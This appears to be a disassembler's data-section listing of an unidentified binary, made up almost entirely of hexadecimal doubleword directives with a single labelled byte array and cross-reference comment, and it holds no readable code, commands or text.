		dd 0FCC938B4h, 0C6596CD6h, 15D9CE50h, 0ADF1A01Eh, 6405E6BDh
		dd 0C6165AC0h, 0EB3EB310h, 0E5A68E5h, 6E0315D1h, 0CE02DF66h
		dd 64482349h, 1C132536h, 0B814ACCCh, 18D5E5FAh,	0C8BE008Ch
		dd 9929E120h, 149F1201h, 92818CBh, 0C0465A94h, 0AD295257h
		dd 0C2484989h, 20603480h, 46FC94A2h, 5284B008h,	43340400h
		dd 86789154h, 0A4A0232Fh, 4A5B3E95h, 110CD110h,	3201201h
		dd 53A06B2Ah, 730105Dh,	1A451318h, 8A4B5452h, 11012849h
		dd 0DEB069E0h, 92CF892Dh, 0A0A2D988h, 1455F24Bh, 0A5496CB4h
		dd 0D9C0F2C8h, 637271Eh, 0A3C80315h, 0C00A26D3h, 40215F30h
		dd 86F340B3h, 51FC0806h, 0D00C17Eh, 6F983101h, 62C8C48Dh
		dd 70340BCCh, 0B83A0381h, 0F8042B5Dh, 47250FC0h, 0DD48F5D0h
		dd 48D00046h, 6894A128h, 0E25104A0h, 897F3D48h,	7C12F225h
		dd 92EA2128h, 0F3210C4Bh, 0F1E543B0h, 96F12EE0h, 38F50047h
		dd 20103D00h, 21E6008Fh, 212E225Ch, 4B7896Ch, 12D625A8h
		dd 4B489681h, 2CE25984h, 0B2896412h, 0C625884Bh, 896012Bh
		dd 0E25784AEh, 895C12B6h, 25684AC8h, 95812AE2h,	5584AA89h
		dd 5412A625h, 484A8895h, 129E253h, 84A6894Ah, 128E2514h
		dd 4A1097C3h, 0D24BC7BCh, 0C9358404h, 1AF339A4h, 32085BCCh
		dd 0E890A821h, 2F33AA42h, 1863D1EFh, 33B24398h,	6096ACCEh
		dd 0E90C2216h, 733C242Bh, 854CCF2h, 90A6213Bh, 33D24230h
		dd 843CCF69h, 8218F3Fh,	0CCCF890Eh, 0C18010DCh,	25904AD0h
		dd 950128A2h, 5F8F321Dh, 44B60961h, 12AC253Ch, 2AA2A641h
		dd 0B004B0C4h, 0F02BA279h, 10818101h, 3C1148A4h, 1493B9A4h
		dd 614011FCh, 192604B0h, 15027887h, 72789449h, 0E706AAE1h
		dd 21077735h, 6344B10Fh, 7FD28064h, 261B245Dh, 0CD709802h
		dd 420941EFh, 17025770h, 0C773434h, 77964773h, 332AEEA2h
		dd 586AEF53h, 0BA3EC5ACh, 0C355581h, 0B92E46Bh,	52576F25h
		dd 0A82C6853h, 16598E58h, 0DD616AA1h, 6FB85D49h, 829B080Ch
		dd 8E11A68Ah, 4AA7E142h, 39780C8Ah, 0AD4E8B52h,	77BCBA38h
		dd 0FB601BBFh, 0D30215F5h, 0F88C1BCBh, 33BDF287h, 574A12C4h
		dd 0B42579B7h, 8CC529h,	811B35C9h, 74AE8010h, 0CAEC0A2Dh
		dd 40968BCDh, 0C0DADD95h, 8EC36274h, 8DAD9646h,	20983C22h
		dd 5AE372BAh, 2EC39D32h, 48076D09h, 2EC99011h, 0AEC1E195h
		dd 5B79E5EBh, 17ADC5Eh,	0BE17B145h, 0ECC17B4Ch,	5EDA9D17h
		dd 11D0BC74h, 361D0F40h, 18BCBA25h, 80196C74h, 591D1807h
		dd 4671D1B8h, 74758014h, 0BCAE6049h, 767CCE05h,	0FA035050h
		dd 6D301FF2h, 5473349Bh, 9A8A7CA1h, 0A8240E8Eh,	11604003h
		dd 826BDF08h, 0FB00706Bh, 50E9E709h, 0D56A9242h, 33191D44h
		dd 0D5049910h, 21A497A3h, 114CA223h, 54C18DFCh,	0C8F9CB00h
		dd 0BCB9EF61h, 0BB91832Bh, 7A8108C3h, 84CAA12h,	5B21B603h
		dd 40300426h, 4E650D0h,	0BA9065C2h, 412D3850h, 1C0A51E8h
		dd 0B542A6AEh, 4230A2C8h, 4E4C316Ch, 1CCBCFD2h,	0FCDE31E6h
		dd 8C21A29Fh, 0F82494EAh, 0A4D2585Ah, 64A1045Ah, 5153A816h
		dd 968084D2h, 52C38D58h, 3C0AF2B4h, 262FB5CAh, 5708D25Fh
		dd 69828646h, 480664D5h, 0E82D1871h, 525C0644h,	9AB82969h
		dd 0B858E48Ch, 188700D2h, 0CA5AC572h, 1817C544h, 0E453E654h
		dd 0BB845BA7h, 1895E2Bh, 547DFDBBh, 0C3880E28h,	2574C62Bh
		dd 0D71CE4C4h, 73FE8884h, 0AB8135A4h, 5819A14Fh, 5C09820Bh
		dd 45D140C2h, 752F2428h, 840002CAh, 1C85D261h, 0D009683h
		dd 156761BCh, 45C09390h, 0B00F2B9h, 4A05E320h, 20D12125h
		dd 0A31B93B5h, 7E854C4Dh, 2C9D653Eh, 0CBDFBD3Dh, 1CCA0592h
		dd 0F2F600Ch, 0FDBB705Ch, 52110ACh, 1703DAB9h, 38805263h
		dd 435C07C6h, 0A4013176h, 9E1AE67h, 871C212Bh, 890E86FFh
		dd 19DE43BDh, 7469282h,	9D4B277Ah, 9C8B5A78h, 0D678D318h
		dd 4C3115A0h, 798430D2h, 7C1A1EA5h, 9841660Ch, 0E36E380h
		dd 42455918h, 25EE1D06h, 0EC410583h, 108A286Dh,	8205585Eh
		dd 61440230h, 655884B7h, 221A40E0h, 2566458h, 91008AD5h
		dd 14B6452Dh, 0D14B8624h, 6031B94Dh, 2C1038E4h,	0BE010D8Ah
		dd 7144EB34h, 0E1937D8Dh, 85291B9Fh, 0D5824EEEh, 0F551E1B9h
		dd 0BF69B02h, 2F56F13Eh, 89FC2Ch, 0E01371Bh, 0ECF87383h
		dd 83124BDBh, 68A761F2h, 0A4FDDAA7h, 0A4A6A329h, 0F0E2AA45h
		dd 0C045E3EEh, 0B1E8AA1h, 0A0A639D2h, 87DFEA7h,	0DD6CA3ACh
		dd 882E7100h, 80021155h, 4F841DC0h, 0D3E1E324h,	0AA0F5E6Ch
		dd 19C0F9CEh, 0B4A06D9Dh, 22F55Bh, 7D88B042h, 778FA808h
		dd 81F810A9h, 317A2E6Ch, 0A7BB8D8Ch, 4572A16h, 0A010D975h
		dd 0A62A1A20h, 10BD2080h, 0C4F635E3h, 0C3F43A1Eh, 6A4805FEh
		dd 38DAD108h, 0F177B501h, 0D463B804h, 5515222h,	5331B8BAh
		dd 5B530663h, 0ADA4181Ch, 3A3B808Bh, 0C0FAAB5Eh, 3767AB0Ch
		dd 1E7C3DA0h, 20AB0A00h, 204CDF73h, 1077116Eh, 9043EC3Eh
		dd 0E065DCCh, 8C04A516h, 646F54h, 9430A8Bh, 8A320B1h, 0E8544A7Ah
		dd 0D67C878Dh, 0A32031E9h, 36ED570h, 3158BCEh, 9EE60845h
		dd 94782E04h, 0A0E9F5ECh, 0D6E25104h, 0EB56989Dh, 0CD414B66h
		dd 0D2E6F53h, 0BD6D919Eh, 8AE28279h, 0B588A3C3h, 190941D0h
		dd 56631C5Ch, 810808BBh, 0D2510452h, 0DAEE6084h, 66518331h
		dd 6E267DA6h, 0E742E94Bh, 4E32127Ch, 4C591962h,	8F16FCE0h
		dd 42608461h, 8470D383h, 82C4046Ch, 9270399Eh, 508AF8F6h
		dd 904F77h, 95539965h, 802F260Eh, 0C031E330h, 0D1574F12h
		dd 9001A74Eh, 0D1B119B5h, 395538EEh, 1F1121E9h,	7E269ED8h
		dd 0FADE175h, 9FE14961h, 147F016Fh, 22A15853h, 9893F9E0h
		dd 28491C50h, 0D858C39Ah, 0CD940AC5h, 1C252C25h, 0AD1E0311h
		dd 0D860C97Ch, 353915B9h, 0A0786883h, 0A14F29A5h, 0EE624AEDh
		dd 10B99183h, 0A589AE02h, 18BB85CAh, 69E198C9h,	0D0D4299Fh
		dd 9C74DB89h, 28630CA8h, 0A3762E20h, 0A9B8E651h, 0FD9B91F4h
		dd 304C2AD9h, 0CFB5C1A6h, 0FC108ADAh, 984D6386h, 5767CC66h
		dd 77297A5h, 0CC49FCD4h, 96943D00h, 8D534152h, 0D0049719h
		dd 9B4CCDD5h, 6E2C90h, 565454Bh, 0F852C441h, 4F89C701h
		dd 84B1850Eh, 0CE91CDEEh, 62871592h, 6E9082C3h,	50617159h
		dd 0B257CB85h, 0E2D5DE3Eh, 0A54E0117h, 57795043h, 0F05CFC46h
		dd 405456ACh, 2CAC6DEBh, 0AD8030C1h, 2B901059h,	4AFF053h
		dd 0ACE2245Fh, 0D4B3FC65h, 7999EA03h, 4561D88Eh, 1DD6E305h
		dd 0A11C4CC5h
		dd 0B6250E40h, 8A79713Ch, 0C38F499h, 0BDFF4E79h, 72BED6Bh
		dd 0AC0245AFh, 2AC492Ah, 9572B3D0h, 0AA8C42B5h,	3A039E33h
		dd 0DC072F25h, 0DAE8EE16h, 5D2ED9A4h, 0AAE61C98h, 0E1035AA1h
		dd 0BF8090F9h, 17836ABCh, 0CC2B28DDh, 1A8AA93h,	702C9C36h
		dd 0B4207822h, 0F2F0ABC2h, 176F881h, 0A03E354Ah, 0ADC383BDh
		dd 89E4A949h, 8CE98635h, 3BC241ACh, 0B986051Bh,	0D8063E05h
		dd 13D7D035h, 0B18275A3h, 14616036h, 415AE9B0h,	71B01535h
		dd 74B31851h, 620AF5C1h, 49A72E33h, 8A6EA8E8h, 9FD54A3h
		dd 13A82E72h, 0E1127626h, 1027408Bh, 6EB22EDCh,	0CB55143Dh
		dd 49700835h, 0FA36EC0Fh, 77365CF8h, 1B312FCh, 550B2344h
		dd 9BDC79FFh, 0BE06D74Bh, 0DB29E99Ch, 0D5B1746Fh, 8C449D67h
		dd 49829FE4h, 0BAB5E8E6h, 0AF31AA83h, 0F62035BCh, 1C4B7D85h
		dd 98C93877h, 0D86556E9h, 5D3772FFh, 6C7BD80Dh,	3C1BB99Bh
		dd 3BF129C1h, 25692BE4h, 0C351F7DEh, 0FE3674DCh, 3F99A186h
		dd 492DF2CFh, 4DD30973h, 0ADD2BB9Ah, 9D8573B5h,	88FCDDAAh
		dd 5519F662h, 0DBC698EAh, 3912781Eh, 0C38F7FACh, 0EFFE70BFh
		dd 1FA3E47h, 4FD5A8D8h,	0F9506B3Ch, 0A494530Bh,	0ADBC9E7h
		dd 1218DCBBh, 0F96D9653h, 6270D375h, 3AA5CE15h,	65DD94B5h
		dd 5DA5DC9Eh, 16070B2Ch, 0B964B43Eh, 8B352ED9h,	3C8D6A2Eh
		dd 18B31C2Dh, 1D44DF1Eh, 33E88349h, 3371FCCFh, 5B0B3587h
		dd 7D2E1A0Bh, 54422DC1h, 0D2466116h, 0C9BC7A99h, 77A449F6h
		dd 0BBCD84D3h, 670C8E4Eh, 695AAEC5h, 3A9FCACEh,	56FE76F9h
		dd 75A3DD82h, 0C7AC9858h, 0F4B788A1h, 3E461211h, 2E3E33Fh
		dd 5FFDF643h, 0D76CA869h, 3EFA3FC9h, 0AF95E2E3h, 0C6B3F9A1h
		dd 36AC2EB8h, 0BEEEE5F3h, 0B74F275Fh, 5A7E96FFh, 52875471h
		dd 96882E6Fh, 57D9C1C7h, 0E33CDF05h, 6E45AE94h,	75D42443h
		dd 965F7C8Dh, 4284393Bh, 0A6FB142Ch, 4DE76F13h,	8150C13Eh
		dd 748BFD4Eh, 0B7C2AB4Eh, 633D082Eh, 0D94384CDh, 0D3CDEBD4h
		dd 3C48C606h, 0DBDA5101h, 2850281Eh, 8D4444DFh,	5BEE1455h
		dd 121319B2h, 0F253944Ch, 4F16D3FFh, 0D551412Dh, 0F89BDFC9h
		dd 4544D8E5h, 0A2D3B516h, 126B12E3h, 0C9545C4Ch, 0A49AD3CFh
		dd 51813A54h, 0A2D9E519h, 13C725A7h, 0CE14684Dh, 0AF57198Bh
		dd 51B12CB9h, 0CD65DD47h, 4BAC0A5h, 75951D2Dh, 37929BCFh
		db 97h
byte_46B9D9	db 0B0h, 6Ah, 0B7h	; DATA XREF: sub_446C41-3D00o
		dd 4A5753F7h, 41DEA8F8h, 9B5A9C47h, 6A4026Ah, 0FBF66F72h
		dd 90891099h, 6D25AA44h, 24FE43FBh, 3AA46279h, 21DEFDF2h
		dd 9209C2C7h, 0EA27AA4Ah, 20EA42B2h, 6A4C25BFh,	5033CA4h
		dd 0E25C2DD0h, 0E8529409h, 0FC97F4A8h, 0CA52249Bh, 924EB8A5h
		dd 427B655Ch, 4AD29589h, 0DFD9E573h, 0AA58277Ah, 0C7AFC5A9h
		dd 689A8D95h, 0DE78A5C2h, 79B5DEDAh, 3A97893Bh,	9AE0A28Ah
		dd 60259207h, 0F1A62988h, 4C202B37h, 942DE52Eh,	0CCA64191h
		dd 0CBFE3A0Ah, 6624C37Dh, 548329A0h, 918A97BFh,	0ACA6A1A9h
		dd 88673E76h, 5AAC920Ch, 0A6C12A90h, 5C6AEA6Eh,	26E3A3BBh
		dd 9929C09Ch, 8E8748E2h, 9C8953D5h, 0D06A2A74h,	2667D78Eh
		dd 0EFA9D89Ah, 8299BF0Ah, 9E0963ADh, 7278AA7Ah,	272F1541h
		dd 0F1A9F097h, 32F63BBAh, 9F89A3DCh, 6CBACB00h,	27F0C7BEh
		dd 0BAB02258h, 25F17A1Ah, 0C10972D5h, 0FC342B06h, 27B27364h
		dd 8D2C2092h, 88F58E46h, 0B0A27A7Dh, 7DEA7685h,	618A2B79h
		dd 0E36C961Ch, 495D4EE5h, 0E3588133h, 961937ABh, 9D3E93F2h
		dd 0A0FC2E04h, 878FB8C3h, 7463DEBFh, 737AD7Dh, 0ED7AAF06h
		dd 0EDDEEBFDh, 3CD7D775h, 6F8BDCB5h, 567F841Bh,	4CA2B1A2h
		dd 0E2DF6C70h, 0AD74343Ch, 208767F1h, 18DD1E39h, 139AC2EEh
		dd 263097D3h, 0F23FADDFh, 0B728C9C9h, 38F40BDEh, 0AF9532DEh
		dd 6FB93158h, 515CF4F2h, 990D6F33h, 89678ED0h, 0F6D429F7h
		dd 2F7DD4E2h, 0D32557EBh, 2FF33929h, 5244F67Eh,	0BAD3AD5Dh
		dd 0BF975F8Bh, 0D628F4ACh, 6466896Ch, 0EC67A0BCh, 1AEE7777h
		dd 0CB83F56Fh, 936954A7h, 35628BF7h, 6E130AD4h,	6B3919Ch
		dd 94877DFBh, 1EC97C56h, 630BE07Fh, 0ECF26999h,	4889BAC5h
		dd 0A30F4ADAh, 63B4F8FFh, 0CD921B2Eh, 8676F494h, 0FFD6FA3Bh
		dd 48DAD1C8h, 0B00ABFBDh, 8E4EF3Eh, 6A8494EFh, 4FCAC22Ah
		dd 1452BFC6h, 53FCA859h, 7C66D1DAh, 0FAA185D1h,	0C179B5AAh
		dd 86947ED9h, 3E95AA1Ch, 56BDED07h, 0F6A8795Eh,	6437E89Ah
		dd 0A204B402h, 0BFFC4000h, 7410FE5Dh, 27874684h, 0D3CFC6D4h
		dd 7C9845D6h, 0B150DAECh, 278670FDh, 57F22439h,	0E9AC54B9h
		dd 0D0CDDC5Dh, 68A18C1Fh, 0E668D746h, 0E054AD24h, 0ED45940Dh
		dd 8E00A3Ah, 700BB182h,	1869668h, 86165A1h, 0AB9C6941h
		dd 0C5E0A15Fh, 160608CAh, 0D640C040h, 1F29600h,	13740FE4h
		dd 40482198h, 20A06374h, 5309060h, 888A68CCh, 1CC592E8h
		dd 2F308630h, 0D2800966h, 0BF4D8C90h, 9429C0A4h, 0BF203D76h
		dd 45813064h, 0AB4146BDh, 9C257BC1h, 0BD5B7055h, 8D8E4574h
		dd 5315D148h, 5794CF6Eh, 2EEEDD1Dh, 7C5D2D4Dh, 9D5C9CFDh
		dd 0CCCBCACh, 8C7C6C4Dh, 3C1DAD8Ch, 3D6C2505h, 6005DB1Bh
		dd 3008FC60h, 85B40078h, 86C0A64h, 0DB5A7AB0h, 0E4C168AAh
		dd 7C28041Bh, 0AAB322B6h, 980864F9h, 1AC25D23h,	0A5A0397Ch
		dd 2B08E8FAh, 0F2DFBBDBh, 0A6A12D0h, 0AFB1AE27h, 416B6002h
		dd 19C15057h, 25F2767Fh, 1165F45Ah, 0B0FBC084h,	32B7300h
		dd 539CBF43h, 0F158C281h, 2556CF6Bh, 0A7DB250Eh, 82628B8Dh
		dd 0B801EA10h, 61A66F46h, 78667446h, 8467865h, 0D1E82BDFh
		dd 0D6CD6EA0h, 79822155h, 71D0F3E6h, 51A80AE7h,	53A143B5h
		dd 19D5F835h, 2FCA9F57h, 31A6F351h, 0C66A8B3h, 31F22C0h
		dd 98CFC36Ah, 5F0E702Fh, 1040489Dh, 61E0C5EAh, 2E9282Fh
		dd 0F2996624h, 1F93A988h, 82BD1E1h, 0E9105814h,	28B4D99h
		dd 7D1C0570h, 8403F2D6h, 71F80986h, 20625302h, 0AB6A3572h
		dd 0E8A4912Dh, 316900A0h, 1CB18054h, 0BAC4EE51h, 0A11BBAD3h
		dd 9952B2D9h, 0C455D733h, 47732834h, 0FE26639Ah, 0FF546ABh
		dd 49AA38C1h, 15ACD3CDh, 95A59DA6h, 12A2D104h, 0F0A8244Fh
		dd 1A1661C7h, 6292D255h, 5A81DA0Dh, 501017F2h, 0B197E342h
		dd 0ECAB2894h, 1BAAFF23h, 8308BFD4h, 1CAB21B4h,	0B9DC90DAh
		dd 0AD49A991h, 9952E664h, 6B150220h, 42020280h,	20BE52Dh
		dd 4EAA010Ch, 0D5E28815h, 2B74FA98h, 9A3602C6h,	0D39CAA65h
		dd 708E1202h, 8EADE00Bh, 0A2B8AA16h, 94D7540Ch,	0C98CE664h
		dd 0B2A9369Ch, 15950040h, 184C0078h, 94014EAh, 0C1AC6E6h
		dd 0AC31D366h, 0CE98312h, 731EF018h, 4C91C9B8h,	304D840Ch
		dd 0CA64D9Ch, 8066AC01h, 0FCFB063Ch, 0BF54CAE9h, 0EDD0F80Ch
		dd 347BB86Ah, 0C88BB39Dh, 8CC31A2Eh, 0D4001A59h, 0C99657B2h
		dd 98012E77h, 659C2584h, 403F1AD7h, 56BD8C30h, 0E253DD5Bh
		dd 64AA2BA6h, 0D22BB402h, 0B0393BB6h, 0AF30E694h, 30CDBA14h
		dd 0AA5BC91Fh, 0B4217006h, 0A9DBAC2h, 5EE671D4h, 0E8662CD1h
		dd 912044A3h, 5A4DBACAh, 0B3103B53h, 9F6FC190h,	3EA6DBCDh
		dd 5D563218h, 0FD9881D9h, 8FE620D9h, 0B831901Fh, 18811901h
		dd 0D2A40F2Dh, 49D4D5B4h, 0C751B518h, 9347F3B0h, 687C5D11h
		dd 25F232A2h, 0DE2820C4h, 0A0A8A0C1h, 69625972h, 314B2D10h
		dd 9BBA4C02h, 9969BB05h, 0ABA910CCh, 28ACEE24h,	62A58920h
		dd 0A582C127h, 0D1759733h, 1FF29E4Eh, 0C6798D35h, 46F018D1h
		dd 0DCA9AD13h, 83655927h, 54A2D36Bh, 943751BDh,	8190BAE4h
		dd 687D8810h, 0D514C072h, 0ADA01A50h, 3D451216h, 0A65129A4h
		dd 69C1705Ch, 93C5804Dh, 0B8AB8A41h, 0A3830BCBh, 0F3E53CAAh
		dd 4F9F72F5h, 6005843Eh, 0E7410E88h, 0D01E2C49h, 686CCC48h
		dd 0AF9F8CBBh, 764F5C4Fh, 5723FD5Ch, 2F859D49h,	7DCF0CA0h
		dd 0BAF4B703h, 0BDE8316h, 0EC0A6C5Bh, 0B0326E22h, 23817B8Bh
		dd 0A16C021Fh, 9C64CAF3h, 0A32A3838h, 0A8733060h, 0B95416A8h
		dd 2878594Ch, 3AF69A52h, 0A9EFA9DCh, 2F4A38C2h,	101B9B1Ah
		dd 0A397575Ah, 9A26332Ch, 0DEA11A82h, 9205518Ah, 1339121Dh
		dd 8EC710Ah, 8010C30Dh,	21044ACEh, 93F9A1F7h, 0A34E463Dh
		dd 4A061A9Ch, 0D2880233h, 0AA0DB1C1h, 0FAF2EE87h, 0D127D1F1h
		dd 144F386h, 8C60E3ACh,	127D02h, 0A052A71Dh, 617462B6h
		dd 2380898Ch, 852A3C84h, 0D0087AF1h, 0F32B6A62h, 0D9114ADDh
		dd 0EA15502h, 5B494BC0h, 1D500052h, 0C94DB45Eh,	0ABA0B952h
		dd 0A099442Dh, 429780B0h, 22AEE102h, 5CAF21ACh,	7349A83h
		dd 4CAB919h, 305CCAC1h,	9A25A584h, 52AB7077h, 4B680D5Dh
		dd 66B2303h, 9684CB6Dh,	75C5C963h, 8943684Bh, 0CA521507h
		dd 46BEA5F4h, 1618565Eh, 0B868C451h, 0B00BD1D4h, 398D914Fh
		dd 24492AB2h, 0C0EA444Fh, 0E9B48FF2h, 5628E14Ah, 9586B25Bh
		dd 615942B1h, 8D8C8Bh, 164E89B5h, 15DDB759h, 426C5FBAh
		dd 0DA837658h, 0D257C7A8h, 0FAE08697h, 85C20658h, 8202A54Eh
		dd 0C43E6808h, 0EF00660Ah, 60907802h, 983260F0h, 8AE2C387h
		dd 99F114DBh, 66AE0BBAh, 0D4C869A0h, 1622C401h,	25F47C82h
		dd 8E82F960h, 1531122h,	9C0A3553h, 5ADE8340h, 0D5574104h
		dd 0B980658Dh, 55111602h, 87C58E1Bh, 5B2019CEh,	0D48F2C2Ah
		dd 85C5B81Bh, 0C1C9D4F3h, 655C7C42h, 0EE8FEC06h, 3FC5162Eh
		dd 0B4890D80h, 10FD24E8h, 5912EA4Ah, 1FF0633Ch,	96029E0h
		dd 55485523h, 3DCB24C0h, 542A1152h, 0AFFD712Bh,	0C49A030Ch
		dd 921E55FFh, 0D1E9A02h, 0D10047Ah, 11042391h, 12AC50D0h
		dd 2624BFE0h, 0A044D44h, 8C78A003h, 4C2E6081h, 3888B0A3h
		dd 0C1E38862h, 8E80A598h, 41D030Ah, 41044597h, 3EC427D5h
		dd 9F21D06h, 14E8125Eh,	41F615h, 6A87024Ah, 2C99F74h, 13EEC5C8h
		dd 34620D29h
		dd 0E4B01066h, 8C290413h, 4A3A31A2h, 800DF00Ah,	1B244144h
		dd 0F2E8083h, 842AA207h, 8144A203h, 0A592209Eh,	4412DA16h
		dd 6E4F388Ch, 98F04937h, 23A6D220h, 9E530284h, 8C45931Ch
		dd 88020D40h, 0AB2664C2h, 0E6DD0F8Ah, 62683654h, 8634EA63h
		dd 403F1188h, 0A79684B0h, 9F6412Ch, 0E1551A1Ch,	0B43262F6h
		dd 13EC025h, 0CC4FBB89h, 7A268464h, 7F14EC02h, 3F7313ECh
		dd 0A2518892h, 79280419h, 0A1569873h, 288FCC70h, 0A0036B02h
		dd 86C8C98Fh, 5D12C023h, 0DAC47EB2h, 27DC44B6h,	9F7012Eh
		dd 623DC447h, 0ED827DDCh, 4BF89F43h, 2268460Ah,	0A39DC47Eh
		dd 0FE27DF84h, 0A91134F2h, 0B095911Eh, 0FC23F31Ch, 2800D10Bh
		dd 0A0206519h, 31ED225Bh, 4782499h, 3153289Fh, 4912F027h
		dd 0DF04BF88h, 0F4911FBCh, 9F50129h, 64513C9Eh,	20D20ABh
		dd 2665011Fh, 98E14006h, 0AE050DE1h, 931EC425h,	9447AB88h
		dd 0FD784FAFh, 97113EEh, 0A25E047Ah, 0F08FDC44h, 0FB289442h
		dd 2A9E4801h, 658556Fh,	872E88F8h, 0C70A5D28h, 0C85E68EAh
		dd 36569010h, 8462908Ch, 7BD0D1F2h, 3637C02h, 3D94BF89h
		dd 47F92851h, 12B4A591h, 4B9897F1h, 290F290Ah, 9A58E4B8h
		dd 654AAB58h, 6A43654Bh, 800DEC1Eh, 16884CDFh, 22824645h
		dd 5C9C643h, 2B8115A1h,	31A2B405h, 52033F81h, 3508E00h
		dd 85B0AAB5h, 0E2CDA1A4h, 0A12DC0C0h, 0FF9842E8h, 3045FE4Eh
		dd 0CBCB99F0h, 6104EA31h, 3DDB98Ah, 7E6AA6A9h, 0F90C9BA7h
		dd 0E7D6709Fh, 9199D27Eh, 65D3FA6Bh, 414F3008h,	0F6E6880Eh
		dd 1BD2A551h, 0AFE04393h, 2A55921Dh, 0BD001927h, 0D4B08773h
		dd 1881EBD5h, 45A23F39h, 754620DCh, 0E0D593CEh,	0C27D6EACh
		dd 34E397A3h, 0AD51B99Eh, 0AEB346E5h, 0C6FCC41Bh, 96CC1A79h
		dd 0D04FAD78h, 94F3188Fh, 6E71AA28h, 45590372h,	0A98F4F14h
		dd 48542D90h, 5752F14Eh, 59D5AE35h, 0BA3A7668h,	0DC85EDD3h
		dd 39BB6020h, 0EB952AA2h, 0C3B6D024h, 77A0224Dh, 0E387B707h
		dd 0DC3C5182h, 11C74780h, 4A6919A1h, 39409024h,	0A885DE44h
		dd 6AA1932Eh, 502A3486h, 9B46A0FBh, 99B94C9Eh, 10D14AAh
		dd 9A0F9B3Dh, 0D8306DCAh, 0AC31B94Ch, 0DE038540h, 0AB1017EDh
		dd 0AB041048h, 0D3A3E344h, 0CBC28B3h, 0B144DA1Ah, 43004B82h
		dd 0CB0F928Eh, 1212C2ACh, 40F9784Ah, 0F8554C8Dh, 0CA573C1Ch
		dd 2C255901h, 0F291D042h, 0B855608Fh, 0C23D2538h, 3F345D85h
		dd 0B23DBEDDh, 0D4FCADF7h, 0D3CE0310h, 3D47F132h, 6E467C8h
		dd 0D81F9F9Fh, 53507E4Ch, 3E49E721h, 3EFB7CD6h,	965A5A75h
		dd 0C08D6EB7h, 0D19A1F2Ah, 0FFB070B9h, 95522373h, 7104A086h
		dd 152AF96h, 8A2B1C7Dh,	0CE89D01Fh, 211461CDh, 3CC9D30Bh
		dd 9ACB8B93h, 29850154h, 5C68E2B4h, 0E6DE1883h,	1A1888E3h
		dd 0E2E2CC79h, 0A4DE2D40h, 5B01350Ch, 71D384EEh, 224E283Fh
		dd 300E82A5h, 3AE4AE24h, 2D088EA6h, 0E05957D1h,	0E9A27F61h
		dd 11EB027Fh, 6FD1EC62h, 7F2819A4h, 5E48F1Eh, 0A47A1F15h
		dd 7AD36CECh, 51434C57h, 0F8C3034Bh, 0B11D552Ah, 36052F44h
		dd 894AF27Ah, 0D194112Dh, 0C475E286h, 0FC197AE1h, 0DBFE97D1h
		dd 7A21CA44h, 793718C1h, 22FC9472h, 0F08AF7D1h,	1ED422BDh
		dd 17E5239Dh, 8457A8C8h, 0F4223E8Ah, 0E6051E9Ch, 22BDB647h
		dd 0AD09FCC0h, 2AAFAB84h, 48800000h, 6000h, 423000h, 5000434Ah
		dd 0
		dd 3A740000h, 259C20C4h, 0A5D31220h, 6B7D4801h,	5F2BF335h
		dd 72B0D6E9h, 0F65A6629h, 0ED90DBACh, 245805CCh, 0E979A922h
		dd 6BF6A152h, 9ADEB859h, 6189B75h, 580510B1h, 0D01CA044h
		dd 62BBCE6Eh, 677F29DEh, 0C02FBD8Ch, 4D664422h,	0C02ED10h
		dd 35762024h, 0AC76EC45h, 9ACFB0D8h, 0DAAD4B2Dh, 6DBA68B4h
		dd 0B8DC76CBh, 2EB7DF70h, 0E2F394BFh, 2836BBDh,	0D1287A62h
		dd 3D2242A1h, 0A5D3B46Ah, 0EA7D934Ah, 52A929B4h, 0B56A42A3h
		dd 0B35AD52Ah, 3ABBBD62h, 0AAA822C0h, 0AF842C08h, 0C284B05Eh
		dd 2821B84h, 90344603h,	2BC94234h, 769B2C18h, 0A1D2390Ah
		dd 73FEBE99h, 2502A660h, 23D0FE2h, 0F074FD80h, 6A664060h
		dd 7FC97DA2h, 8B6EA60h,	0AF509406h, 0C973AC60h,	427153B6h
		dd 52BEF45Eh, 0B4D6A23Eh, 42058275h, 28086903h,	0C4C67518h
		dd 56D4F6ABh, 8B9D02BEh, 7BC14E64h, 637E3EC7h, 0A9DFF942h
		dd 35FF63A2h, 1B10A091h, 181D004Ah, 35A15015h, 0EB40FB31h
		dd 7A713082h, 4CA85AB1h, 60EC3F62h, 42B1775Bh, 0F13E7840h
		dd 80E342h, 1129060Dh, 0F6018610h, 2CACD89Fh, 2503814Ah
		dd 8949180h, 2A50608Ah,	0C9426128h, 0A50CD4A0h,	9D095283h
		dd 30E54A10h, 0A2CC4E85h, 143D0B47h, 830A7901h,	0A24C9628h
		dd 14855114h, 0C2150903h, 869D3A6Ah, 4AA4053Ah,	4D825063h
		dd 3055C315h, 0AD8C2ABBh, 5290967Ch, 4A38315Bh,	0AB3A2570h
		dd 160195C9h, 2C10CC6h,	882CAD3Bh, 11921609h, 52941A76h
		dd 21682C8Ah, 0B48CB3CCh, 0D3B65A43h, 0DCE6E169h, 0E9D1ED41h
		dd 819820BAh, 8B32883Ah, 3E61A1A2h, 881D6865h, 0F43285D1h
		dd 0FE2B18C1h, 802DB7A3h, 0F8F8276Eh, 0B81BD553h, 0A0317517h
		dd 0DF18357Eh, 4158038Bh, 4340453Ah, 4E8CA1B0h,	9BB4932h
		dd 4E8A02E4h, 2AB3FA0h,	0D2C00B8Ch, 0A3ACFA7Fh,	0D0ED4288h
		dd 0C4DB425h, 0C252505Eh, 21DE2010h, 95ADBC24h,	4310EC9h
		dd 8944D368h, 251314B0h, 946192B0h, 61084A68h, 44A32FE7h
		dd 128DCA5Dh, 4A384967h, 28F2A564h, 8FA594F1h, 99544752h
		dd 10B8EBh, 0C4750C4Ch,	25E8C852h, 784B9091h, 0E52EEAA1h
		dd 0A4B7B095h, 12DA4257h, 4B48097Fh, 951A25FFh,	580764CAh
		dd 9F40AB40h, 0A74F7A04h, 102ED388h, 85BE36Ch, 0D031081Ch
		dd 65910A51h, 50848227h, 3D8FEC6Ah, 8F6EC72h, 0C92347B2h
		dd 7A06451Eh, 9785D934h, 5408B8C1h, 0C9566B0Ch,	0C561954Eh
		dd 0ECB7207Ah, 4B85B257h, 6FB78B19h, 38BCD2D3h,	0BBE82AC9h
		dd 0A85F1154h, 0F095603Ch, 82560046h, 958D12Bh,	2550C4ADh
		dd 94E112ACh, 52444A88h, 47122982h, 144AA409h, 31288C25h
		dd 44882094h, 0F2214250h, 0E897A5FCh, 25DF84Bh,	558B12Fh
		dd 10F84BAh, 7709C0E4h,	0D2250004h, 18966B12h, 2257984Bh
		dd 8956212Ch, 0C11584ACh, 5EBC1284h, 7E4B2A16h,	62FCA5CBh
